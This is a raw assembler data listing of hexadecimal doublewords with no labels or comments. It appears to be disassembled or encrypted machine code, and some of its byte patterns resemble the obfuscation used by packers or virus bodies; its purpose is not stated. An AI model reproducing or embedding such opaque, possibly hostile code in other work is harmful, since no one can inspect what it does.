		dd 45000000h, 0C2BFC355h, 80110EACh, 6090B8F6h,	2870Fh
		dd 0CE8B0000h, 0FE8B5061h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0D0733AD1h
		dd 8F82996Fh, 95FFDD4Fh, 6131315h, 5E8h, 308A1500h, 0BF0FD1BEh
		dd 0C00B5AFFh, 31850Fh,	5E90000h, 36000000h, 9AB237CDh
		dd 7A8E9h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0C18589D7h, 0FF06131Ah, 55006AD0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0DA16BA9Fh, 0B58B66CBh, 616A40Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 1FC35646h, 8BF0AF29h, 130E498Dh
		dd 20468D06h, 4CE98166h, 3810FDAh, 80000000h, 46A06C2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5FC35646h
		dd 0C810FA7h, 0F000000h, 680h, 0ED952900h, 89061307h, 131BB9BDh
		dd 0CE806h, 0C460000h, 5F7F3C8Ch, 0A9EDD437h, 8D0F28BEh
		dd 0Ah,	5E9h, 0F1B61F00h, 9059C295h, 0F18B6060h, 10E9h
		dd 0F8CA4C00h, 2C23C7ECh, 5665C78Eh, 2CC42E64h,	0D18B61B9h
		dd 59BF5061h, 9000A5E7h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 0CDC35242h, 31197A46h, 130625BDh, 85958B06h
		dd 0FF061325h, 16A41E95h, 0EE5CBA06h, 0C00B4E8Fh, 11840Fh
		dd 8D8B0000h, 6131471h,	660E9h,	61B53100h, 80061322h, 0F00207Eh
		dd 65084h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 88DC0969h, 8166C9D2h, 60F3AAEAh
		dd 7443E2B9h, 20468D56h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 60C35141h, 0DE4ECA92h, 0AB268152h, 108D0F16h
		dd 0E9000000h, 0Bh, 0E8A0187Dh,	298EF69Dh, 8962F988h, 16A40A85h
		dd 7D958B06h, 0E9061319h, 0FBh,	3475958Bh, 0F400613h, 38Dh
		dd 0CEBF0F00h, 0A890F90h, 60000000h, 870Fh, 61600000h
		dd 11E85061h, 0DB000000h, 421961EAh, 24516528h,	4AFE220Bh
		dd 68EAB034h, 5FD38B66h, 0E7CA8090h, 958B046Ah,	6132B35h
		dd 50E4B190h, 0E5B96660h, 68A0FC4h, 50000000h, 5A310F52h
		dd 89906158h, 132CED95h, 1E95FF06h, 6A0616A4h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5744C353h, 57B9DED7h, 0D88BD372h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 66C35040h, 10E84919h, 28000000h
		dd 1CE8E9B4h, 2D89B667h, 0C8B28D02h, 81B24CF3h,	8C793CC9h
		dd 80585F25h, 0DB0B05CAh, 25840Fh, 6E90000h, 50000000h
		dd 60E088EAh, 0AE979h, 46D10000h, 31773376h, 0CED9D8D2h
		dd 4E0E9h, 41D28100h, 80339B35h, 850F0038h, 0FFFFFF02h
		dd 2CA99D89h, 69E90613h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2537C355h
		dd 11E93Dh, 2F500000h, 0CE58EA80h, 0D4CA473h, 0CA8B7D9Bh
		dd 0BFA603CDh, 22EE467Eh, 55006A48h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 60F4A341h
		dd 0FC2BF0Fh, 682h, 9DB50300h, 6106131Ah, 0A40A853Bh, 820F0616h
		dd 6Ah,	80CE8B66h, 840F5C38h, 5Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0C1C35646h,	3D4F6FD6h, 35DFE781h
		dd 38804CF7h, 89850F2Fh, 6AFFFFFFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1E90C356h
		dd 820F4D37h, 6, 775BD8Bh, 0BA660613h, 0FC4023CDh, 0A412BD83h
		dd 0F000616h, 1E284h, 50D78B00h, 0F5B36051h, 5961C88Bh
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0FBC6C350h, 0C2342CD1h, 5C3CFBC3h
		dd 0B299523h, 952B0613h, 61314B1h, 0A4128503h, 6A0616h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0D0FE08C3h, 3FA81A40h, 81A00B72h, 9BBB9AEAh,	489504Bh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0D2D7ABEDh, 71A765CEh, 0AE94Ah, 7C420000h
		dd 0E9F63EBCh, 0FD2A8D0Ah, 8A0F046Ah, 5, 84D18166h, 0DBD8B07h
		dd 5006131Fh, 2810Fh, 5BB20000h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6616C357h
		dd 398D8B49h, 0FF061317h, 16A41E95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0FBDE4950h
		dd 0C9BF0F89h, 6AD88Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 118CEFC3h, 0B5890404h, 6133045h
		dd 7E858h, 1F8F0000h, 333FEFEFh, 0BDBD8B6Eh, 5A061322h
		dd 840FDB0Bh, 5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0EEC35646h, 0AE781EABh, 8B5945C7h, 1321E58Dh
		dd 253E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0A2EAE2C3h, 8BC8CF36h, 133231BDh
		dd 8BCF8B06h, 1322C58Dh, 0C606h, 4686BF66h, 53006A58h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0B823F3CDh, 0F99D89D4h, 5006130Fh, 489CA8Bh,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0B5896082h, 6132041h, 0B1E6A61h, 13150DBDh, 0BEB99006h
		dd 502AC14Dh, 0C7FCB950h, 905F29BAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 77C35040h, 51043D0h, 0E88A6954h
		dd 0A41E95FFh, 958B0616h, 6132B2Dh, 9589D88Bh, 613169Dh
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 561CA90Bh, 31F4D7CDh, 1A998D29h,	0DB0B0613h
		dd 11840Fh, 0BD8B0000h,	61313D5h, 140E9h, 65953300h, 90061314h
		dd 3E2DB966h, 90E8B250h, 0DE9h,	7A0B3C00h, 0C0D249ECh
		dd 120AACDEh, 0B5FFC28Dh, 616A3FEh, 0FFCA8B66h,	16A40295h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 6F8FA2EDh, 501D756Eh, 81667426h,	0E94CE5C7h
		dd 12h,	0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0C00B2DC2h
		dd 65850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 1F339EC3h, 8628DD63h, 0BD8B7376h
		dd 6130E75h, 53006A61h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8BE46398h, 1324918Dh, 685C706h, 10616A4h
		dd 29000000h, 1311D5B5h, 63E906h, 61F80000h, 30C1BD23h
		dd 0C6810613h, 11Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 6FC35646h, 57F24A04h,	6686A945h, 0BA1FD9BAh
		dd 1B4E684h, 0FFF8ECE9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 315C2BF2h, 1300F5BDh
		dd 0C8D76806h, 52504D56h, 0B8616060h, 6ED6B0ADh, 0E9310F61h
		dd 14h,	7AEB82Dh, 2F4BE88Eh, 2CA339D5h,	6BA0910Eh, 47E7BC93h
		dd 3481585Ah, 5648D724h, 6E94Dh, 47960000h, 0D0F7A54Fh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 66543BC3h, 0FFAF77BFh, 16A40EB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0AE658F98h, 0F48C6EAh, 1D82h, 11E800h, 0EF280000h, 0E9A8541Eh
		dd 0EC70B744h, 55745CFFh, 31F145EFh, 132FF98Dh,	95FF5906h
		dd 6130135h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	6C35141h, 0F0B9F112h, 0BD29CCC0h, 6130959h, 0A406858Bh
		dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B950F8C3h, 33AE795Eh, 1240489h, 13298D8Dh
		dd 16858D06h, 0F0616A4h, 683h, 19BD8B00h, 0E9061328h, 0Ch
		dd 0D2B64ED2h, 0C7F73D7h, 0CCB66077h, 50595090h, 4810Fh
		dd 0BF660000h, 8B90D4D6h, 13248595h, 29BD8B06h,	8D061324h
		dd 16A3D385h, 0BD97BA06h, 0B70F4868h, 0E95090CFh, 10h
		dd 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h, 13571085h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 29B422D9h, 133225B5h, 0D595FF06h, 66061322h,	4A60C781h
		dd 6E8C08Bh, 2B000000h,	7E746F35h, 5FCA8BD6h, 1625BD83h
		dd 75000613h, 81BD8309h, 6132Ch, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 15A7B89Dh, 5BD3FF06h, 81BD8358h, 6132Ch
		dd 53501174h, 4D0B8h, 0B79D8D00h, 0FF0615A6h, 6A585BD3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 2033C350h, 13E9h,	20A91700h, 785DA01h, 0C35367EFh
		dd 0DEDAA05Ah, 0CCFFDC86h, 30798D8Bh, 0C08B0613h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h, 6A2ED2F7h
		dd 298D8977h, 58061330h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 25C35646h, 0E644128Bh, 0CEBF0FCDh, 2F8DBD01h
		dd 8C20613h, 92CA8100h,	8B1D00FAh, 3D8D8BC0h, 8A06130Eh
		dd 5E858DC8h, 8B0616A4h, 131D318Dh, 0DB58906h, 8906130Ah
		dd 131B0585h, 2DE906h, 0D09C0000h, 1D10h, 9 dup(0)
		dd 0E9000000h, 51Eh, 0BF1F3783h, 0A5054999h, 0B9193183h
		dd 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h
		dd 5587A58h, 755A6747h,	0B46B8600h, 68DA4F16h, 51E06CBDh
		dd 5674E06Dh, 4C6BE174h, 0B4A0FA6Bh, 2469109Dh,	0B8094D9Ch
		dd 81D084D1h, 0EED06100h, 0F063F25Ch, 8590982h,	1582FF7Eh
		dd 1C7D6261h, 64E9BBFh,	0D00ED637h, 0D3F355EAh,	5FEE5AEDh
		dd 36A7ED7Bh, 109E5EDCh, 300160A5h, 0CB1B3F1Ch,	8953B283h
		dd 0FADD8AFFh, 9E5F0F8Bh, 2BB5D810h, 14B29629h,	8DBD0F33h
		dd 8CC01143h, 0CFEF082Fh, 0A53F7711h, 785F1883h, 90582572h
		dd 6021A0D1h, 0CB5D109Eh, 0B4E9EE7Fh, 7DF954AEh, 0E864F5D9h
		dd 0A217B159h, 4DBE4CB3h, 4135511Fh, 0E11433A3h, 109E8865h
		dd 0BEE5EF2Eh, 6Ah, 0E06CBDA4h,	0B4A42051h, 0C619109Dh
		dd 0EC7D1CE1h, 0B7014DD1h, 0C090BC4Dh, 68A34179h, 1, 0E16DBDCEh
		dd 0EDBAE5C2h, 144A1B65h, 0BC910D7Ch, 3B5A109Dh, 0BE1032B1h
		dd 2E7DC190h, 52C01322h, 7F290EB9h, 0AB6A9D24h,	0A3A465B2h
		dd 6908AAC6h, 925AF645h, 4260EE40h, 0B7134265h,	80109E56h
		dd 2243055Ah, 2725B89Ah, 70BD2987h, 522ABE1Eh, 0DEBF0E1Bh
		dd 53FB4B8Fh, 0FD8EFC02h, 7E5CF845h, 930F7E61h,	5C109E03h
		dd 0C9DAF39h, 7BCDF140h, 1B777ECFh, 0A7AE7E9Eh,	6F50A341h
		dd 9DF9A4FEh, 0F8DCD510h, 15EAB534h, 0A6FDC746h, 67h, 6BE71639h
		dd 34109DEBh, 0C24D07D1h, 0EA3D4EE0h, 0EF8E0F5Eh, 0A3B53F5Eh
		dd 2B2F3E16h, 2FA0B199h, 4D9C46C3h, 0C5DF344h, 0ECCEEC8Dh
		dd 6466F75Dh, 5EC7DD3h,	1CCCF089h, 0C4A341E8h, 51h, 0E470BD9Ah
		dd 6ADE7155h, 0E868F7DBh, 0A3E27559h, 9583911h,	462FCCC6h
		dd 2BDC6D65h, 0C697B707h, 0E5B7D47h, 0C2CA6846h, 31004EE0h
		dd 74C608D0h, 88D5FDDAh, 146504CCh, 109DB4B5h, 527A42Eh
		dd 0A341EA37h, 89Fh, 0CA1A4000h, 9058B988h, 0DF6BBDC6h
		dd 53F94C8Eh, 51FB4E74h, 61F6D887h, 0DCBD9324h,	56FA498Dh
		dd 0AD1E5407h, 103724B8h, 0E715B603h, 0AFD9E369h, 76D4681Ah
		dd 75115858h, 64362756h, 0A6E7168Fh, 2A22B397h,	598CAB8Ch
		dd 0A8B61FDh, 5B7D47C6h, 82F3420Ah, 0A8B6206h, 0CB6533Fh
		dd 0D3393B9h, 0C3390BCh, 0C8DCEA34h, 1FCE166Fh,	93A2AA3Bh
		dd 3BEC5DEBh, 0A66DE91Ch, 0D7360A8Bh, 0F7ACB0Dh, 0D2F190C0h
		dd 0A60680F5h, 0AB3A0A8Bh, 0EA7998A9h, 973321ABh, 5AAC1BD9h
		dd 12481h, 0BEA3D500h, 377AEBC8h, 0D0168EBCh, 87DAFC4Dh
		dd 72C3E5C5h, 0F6478BDAh, 91FF0756h, 0DC6B4FF8h, 0D76A6C74h
		dd 3FFD5575h, 0E15AAD1Bh, 0F74811F6h, 0FD900F1h, 4788h
		dd 0BCA3AE00h, 0FA74E9C6h, 36F624Bh, 0B394B382h, 429BDA8Ch
		dd 3829DAA5h, 909DE6DEh, 2F5E66A7h, 909DE6B3h, 6BFA5AE7h
		dd 0E879D967h, 0D47EFB77h, 0D5ABCA80h, 0D5A1E9Bh, 8B275675h
		dd 94EF627Dh, 0A6765171h, 0DC000000h, 0EBC8BEA3h, 8EA18F7Ah
		dd 44157816h, 59B52807h, 220A8AA1h, 0ACBD8B20h,	92C40C6Dh
		dd 8BAD0D3Fh, 0B243123Ah, 0A8AA151h, 0D2654D92h, 1EA6E776h
		dd 1AAB57F4h, 41AA9532h, 2B82CF72h, 64E67A5Ch, 2E2CB4D5h
		dd 308FF7F2h, 3294B60Ah, 60A1B0A2h, 200A7B58h, 391077E8h
		dd 0E26BE716h, 0D1340473h, 2A3B5A07h, 7FDB0A2Dh, 480473E2h
		dd 88D9FBC5h, 0CD9CB001h, 0A4FE6F4Ch, 6D0473E1h, 0D6F84928h
		dd 9BB50683h, 1B2A4BCAh, 98A9A937h, 46025579h, 4DBED4F7h
		dd 710A8458h, 0E7C4C2A7h, 6130AC76h, 9230550Ah,	0C8BEA338h
		dd 3B07AEBh, 3459168Bh,	2921B397h, 0ABFE409Fh, 0FE2401A1h
		dd 0AC1DDAAAh, 53DD83EBh, 15A8AA32h, 1ED72637h,	9B05851Dh
		dd 9D30E257h, 0C2E0FAFh, 43C293B9h, 46065779h, 5AEE4169h
		dd 0D878C70Bh, 5F690889h, 0E36DBE00h, 14BDEC4h,	5807D130h
		dd 0DA6BE576h, 962869F8h, 4788D9B8h, 0F1C7AE4Bh, 755D0A7Fh
		dd 6D5F69E5h, 705270DCh, 3DE6FDDh, 17h,	108AFBDCh, 0D9EF808Bh
		dd 7BB22CB4h, 920C815Eh, 5B109DB4h, 0BD28B23Ah,	7254E571h
		dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
		dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 72BC68h, 241C8900h
		dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 56241489h, 0C681E689h
		dd 4, 4EE81h, 34870000h, 3C895C24h, 0AA685624h,	5E15E970h
		dd 0E681D6F7h, 0BCC754Bh, 0B285C681h, 8953FC12h, 5BDA89F3h
		dd 3C8B545Eh, 4C48124h,	51000000h, 8B9h, 89F90100h, 240C8B11h
		dd 4C481h, 34FF0000h, 0C4835F24h, 24148B04h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFCC488h, 41A77598h
		dd 81F0E038h, 4EB87554h, 30616BCh, 26E0FFC5h, 1F4261F6h
		dd 3C0C45F4h, 3E690Ah, 6E4A256Dh, 4061AF57h, 88408683h
		dd 56338271h, 0C1013987h, 0EA02FFBAh, 0F061236h, 0F648C2B8h
		dd 821FBF0h, 0ED3C1D53h, 956ED3BCh, 0D62BC075h,	0DB557F0Eh
		dd 74162C20h, 0E909759Eh, 75h, 0D88C6660h, 840F04A8h, 35h
		dd 0B5FF016Ah, 613116Dh, 7C33858Dh, 0D0FF0616h,	28158589h
		dd 0FE8B0613h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 6132815h,	32E9h, 0E185C600h, 56061311h, 0C530DF68h
		dd 0E9B5FFA9h, 8D06131Eh, 167C3385h, 89D0FF06h,	13122D85h
		dd 0FD858D06h, 50061329h, 56A206Ah, 2D95FF56h, 61061312h
		dd 6E0C1C3h, 1DE9h, 0F78FCF00h,	6Fh, 5 dup(0)
		dd 14E90000h, 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh
		dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch
		dd 5CF04167h, 0FB6A757Eh, 16B4719Fh, 0AD8A3168h, 0B471DE38h
		dd 6CE61716h, 3516B472h, 9D0283D0h, 951EEDF6h, 2DA731C8h
		dd 901D6CBDh, 52E2C4h, 5FEED061h, 62F3D5F5h, 0E6775BEAh
		dd 63F3D766h, 89095AEBh, 5DEF42F0h, 41075C7Eh, 94791F0h
		dd 16B49427h, 98A99F34h, 1D2C26B6h, 4FE2A939h, 4C2D6CFDh
		dd 0C589D9FDh, 0CA3F5374h, 0EE8B05DBh, 4496EF44h, 654B6B0Ah
		dd 7C5B78D4h, 9DB48D09h, 0AD375610h, 0B54ECF3Eh, 398A109Dh
		dd 0B3044617h, 4CC6CC9Dh, 0B121C6AFh, 0EA24F418h, 768CA341h
		dd 0B2000000h, 51E06CBDh, 9DB4A420h, 0E1C61910h, 41B4CD5Ch
		dd 109E77C5h, 0B0A80F8Eh, 44CE1642h, 34D7A5C7h,	17FA341h
		dd 0E3000000h, 1670E5C2h, 0DF109DB5h, 922436BEh, 19A9ADBCh
		dd 91222435h, 0CE3F20BFh, 109DB554h, 71F0F81Dh,	7017B4DEh
		dd 4493F84Ah, 0BDDC6D0Ch, 0FF912133h, 9DB5148Eh, 82C64510h
		dd 0F15DD53Eh, 51842362h, 109E63F5h, 0A03E5FBEh, 852527BAh
		dd 0E470BD2Bh, 0D268E0C7h, 9F3C3798h, 22B49655h, 0DB751D2Ch
		dd 2F25B45Eh, 7118A98Fh, 3476CE0h, 4BDA0579h, 183A99F8h
		dd 95BA8BC9h, 0CEFA9622h, 4261005Eh, 9E76B713h,	0D31D8010h
		dd 0AC9E3214h, 0C13AD49Dh, 412ACD9Bh, 0BF75A3h,	0C2C90000h
		dd 633B4FE0h, 5D36AD56h, 0D9FBC5A4h, 5A79C88Ch,	17A8E978h
		dd 88095839h, 90BA0E40h, 1E2A7DC1h, 0D0BB0B4Fh,	180D17Fh
		dd 6AEAD160h, 0AA109676h, 0FACE6BAh, 6CDD1526h,	0A4A97BBh
		dd 134190C2h, 143E8EB4h, 0DEFCC445h, 1296DFCh, 4CCD9CB0h
		dd 9E27C11Dh, 6A0B8A10h, 9FFB6A4Dh, 0D3109E27h,	1C81CE86h
		dd 0A23115D4h, 67F65EEBh, 42684726h, 0B0D160F2h, 56B0B928h
		dd 9BE9B7E5h, 0A78BA341h, 0E4253414h, 51E072C2h, 4C71A830h
		dd 0C5000000h, 0C7E470BDh, 0B51975E8h, 0A3E2109Dh, 4585BBFCh
		dd 29B3D017h, 54398BAh,	8CBE1234h, 54999BDh, 0DA6FA334h
		dd 31CAC8EBh, 82203481h, 0E16DBD28h, 0FC4F7350h, 549CFD4Ch
		dd 9DB554B5h, 0CC3DCD10h, 41EAD0A0h, 178A3h, 0BDDE0000h
		dd 4C8EDF6Bh, 0CE0253F9h, 0D478C9F1h, 5909820Ch, 23634307h
		dd 4C6B483Eh, 0B4A0FA6Bh, 6169109Dh, 0AEEF7ED2h, 978605CFh
		dd 48168EB1h, 0ADE0B002h, 0A8AAF31h, 6BFA9BFAh,	4B6C4B2Ah
		dd 8AAEC01Ah, 0BC04890Ah, 0E8092E2Dh, 0A0C92887h, 3485C711h
		dd 0F7460255h, 0F1D7F796h, 2C5DEC60h, 0A8AA4B0h, 0D41136E9h
		dd 0C91D44B5h, 60D933BDh, 8D2D1FB2h, 16388AB0h,	50398CCEh
		dd 23325301h, 6EFB8E1Fh, 573657E6h, 0F9920006h,	7654F849h
		dd 0A9556E59h, 0BA4BBABh, 1AFC02A4h, 0C71159BDh, 0ADDD410Fh
		dd 185E95Ah, 0A34D0000h, 0F87802BEh, 0D34FF394h, 7DE015B2h
		dd 16168F49h, 0B1126331h, 17824392h, 5396F5AAh,	0BD6E5534h
		dd 89A15313h, 9C832041h, 41E88720h, 5F1BC3BAh, 431487F5h
		dd 74B9A22h, 0A0B6D0B6h, 628DC66h, 7C5F4867h, 0CE1E9016h
		dd 0C2E2CB4h, 80C293B9h, 484E1F2Dh, 308131CAh, 88998456h
		dd 0E36403A4h, 90BCE3F8h, 910D807Bh, 5A0A8B95h,	9B3B5A3Bh
		dd 0EE689DBAh, 0B70A8B95h, 5AE3AA90h, 36572883h, 526636AEh
		dd 59CE5AACh, 74000000h, 0D508BCA3h, 109DB579h,	0A0AE0042h
		dd 70117091h, 4B882253h, 0C916F62h, 0B552CC3Dh,	3386909Dh
		dd 0B6064819h, 90248CD6h, 0CDAC5B36h, 0B42E5F7Ch, 7D909E76h
		dd 0B14AC418h, 4DBEB0C4h, 0C11E647Bh, 630DB24Ch, 0B5072BEFh
		dd 81D082D2h, 0A576100h, 0A00C2B8Bh, 0B2000000h, 0A158DDC2h
		dd 0A87532C0h, 0B9CD1420h, 8DDEEB1Ah, 83C7168Fh, 26B51931h
		dd 0DDFA4B2Ah, 0C7EB67F5h, 786D777h, 3F4A9BBDh,	3F0F9FF2h
		dd 0B99F3F5Eh, 0E4152428h, 0A8B8D63h, 2C3D15A3h, 3FF0982Ah
		dd 8C5FD1A2h, 3B431273h, 66493CCDh, 9223CF6Ch, 1C3B1CBAh
		dd 0BBAAA436h, 0A8B355Fh, 69DA1F28h, 820D482Eh,	84DDD9E3h
		dd 3F5EEE3Fh, 0D9A26DA0h, 0C3071078h, 1AB9D870h, 20A8A638h
		dd 202C7DC1h, 38D13B11h, 0AE0D7970h, 621B943Fh,	3794F90Ah
		dd 0B0495B10h, 0E2233220h, 8C923EBDh, 0A3BC1644h, 96B205BEh
		dd 60F2D8F7h, 0D805FEEh, 109DB491h, 925A3B5Ah, 9671045h
		dd 49CC168Bh, 64F7DBF8h, 67FADCE4h, 52E3C5E5h, 0AFB55534h
		dd 7110B0B6h, 5BB891E0h, 4A757366h, 0E978D668h,	55E620A8h
		dd 62400C9Dh, 805FED40h, 0C5B42E5Fh, 5A7DA0A5h,	0A5C5AF2Bh
		dd 741578A0h, 8AD9FD6Ch, 0CF9EB603h, 72D86C4Eh,	0E4C3A2E3h
		dd 8EDF69BEh, 3226C50Fh, 0B69C4BC0h, 0F9182923h, 4CDDEFh
		dd 22327FA3h, 81D0F213h, 0B90382D3h, 6524B59Bh,	0A9E879D5h
		dd 205C79C8h, 2000000h,	6CBDE5C2h, 413051E0h, 109DB4C5h
		dd 19AB0F8Eh, 0D7E12031h, 594166B3h, 9005A7FEh,	0BD5903CDh
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E68956h
		dd 4C6h, 4EE8300h, 31243433h, 34332434h, 89565C24h, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 240C895Ch, 4EDC68h, 243C8900h
		dd 8904EC83h, 0BBBA2414h, 817C8157h, 0FF2BBACAh, 0ECCA815Ch
		dd 81598A7Fh, 0E9C226F2h, 5AD1897Bh, 39A68h, 24248900h
		dd 4240481h, 5F000000h,	8BA52h,	0FA010000h, 89CB8953h
		dd 8B5A5B1Ah, 8953243Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 2434FF5Ch, 4C48159h,	0E9000000h, 0FFFCBD84h,	0FE86E03Eh
		dd 0D3B304C6h, 258EBADCh, 0B8B8295Eh, 616C346h,	0E0FFC503h
		dd 6266A836h, 24B7B1AAh, 3EA7B047h, 3078FD53h, 1D2B7123h
		dd 68579A58h, 42F7B0F1h, 69190B67h, 3ED2FBF5h, 28DA45BDh
		dd 3AD6BEEEh, 494C8AC9h, 0B5919EDh, 43A96C8Ch, 49DFD28Fh
		dd 6D502FA9h, 7A3E1C88h, 4BE6A879h, 281E3531h, 4CC9B09Ch
		dd 39EBh, 2CC00AEh, 2E400AEh, 0AEh, 43EB0000h, 4F885139h
		dd 478E6020h, 43843431h, 494593Ah, 2A905830h, 663A601Ah
		dd 5E713418h, 44FA441Bh, 4FBD5C00h, 4AE75035h, 35F2A1DFh
		dd 0EA723247h, 0C2AB343Eh, 2A7E3457h, 75FC6B74h, 2EBB48DDh
		dd 2EEB70D5h, 2AE73442h, 42306313h, 2610CF32h, 97FC3454h
		dd 41EED44Ch, 79C352F7h, 0A99F0BD2h, 39D911E9h,	23923452h
		dd 67289D7h, 5EF93247h,	0A1AF644Dh, 2EC78C94h, 0AFB63454h
		dd 2C8C3929h, 83B2A9D9h, 0F9183241h, 97706C0Fh,	2CEA18D5h
		dd 7AEB4054h, 2EC78C07h, 0AFB63454h, 2C8C3929h,	8CA3A9D9h
		dd 0F9183241h, 2A996C0Fh, 2AFADC06h, 70DC3454h,	7EF76E97h
		dd 6EBE3070h, 2A883070h, 788D3454h, 75261197h, 0FF46BD4Dh
		dd 4CFF2744h, 0EA77E7DFh, 2A7E3ABDh, 70AE7C54h,	0B682BD12h
		dd 0C29648E1h, 0A16F3138h, 39EC61D9h, 0CB7CF252h, 7CFA2745h
		dd 0C22C343Eh, 2A3F3457h, 705C6E74h, 2EEB60DDh,	2EC370D5h
		dd 2AF3344Fh, 2C3A6616h, 0BA3E4FA3h, 2B362949h,	391E75C9h
		dd 75EB5C52h, 749D5251h, 0F4C330D5h, 40C5970Ch,	29116554h
		dd 0AFC3454h, 0A327F70Dh, 0AB3B1018h, 379B1010h, 6BCF3454h
		dd 0AACF705h, 0C63F37C7h, 5999AE8Fh, 3985A165h,	9F813247h
		dd 2C2C2ABDh, 0BF16CCDFh, 2CDC15B9h, 56D4B1D9h,	0E3723242h
		dd 704BC4F5h, 2A96E4ABh, 2A7DDC05h
		dd 731F3454h, 66166D97h, 6E4E3070h, 2AFD3070h, 7BB23454h
		dd 20A62897h, 0A792C3F7h, 1B4789DDh, 2E553247h,	0C2C8343Eh
		dd 2ACF3457h, 75246B74h, 2ED748DDh, 2EDD70D5h, 2AFC3448h
		dd 0ABD6313h, 97128684h, 0A5FD7142h, 2AC9B95Bh,	97EC3454h
		dd 2CE00609h, 2AF93EBDh, 61DB1254h, 71482278h, 421F63F3h
		dd 62156BA5h, 0DBEB00D5h, 94AFBE1Bh, 0C2E6B60h,	7F3E2F3Ch
		dd 2AFADC97h, 0B1DE3454h, 147DEB92h, 0E9BB50Ah,	16650F85h
		dd 0C2B0343Eh, 2AF33457h, 753A6B74h, 2ED848DDh,	2E5A70D5h
		dd 2A3F344Ch, 0C15C6313h, 0BBE36843h, 2AE731BDh, 8AB3A254h
		dd 2A9301D4h, 2F1189DFh, 0FA813247h, 2B4AA9DDh,	0AF163247h
		dd 2CD9F01Ch, 21B2B9DDh, 0D2783247h, 2AFBF851h,	6679BD54h
		dd 0A9782290h, 0AFB62C94h, 2C89F004h, 0C676F467h, 0D9E73456h
		dd 7BF35EFEh, 2AF937BCh, 0E9A51454h, 0E32BD0Dh,	0E7BB550h
		dd 2A9F2150h, 0E99E7554h, 0BF6C400Eh, 2CE031FDh, 0D678ACEAh
		dd 7AFC5E50h, 2A7E37BCh, 0E9671454h, 0EDBBD0Ch,	0E8BB550h
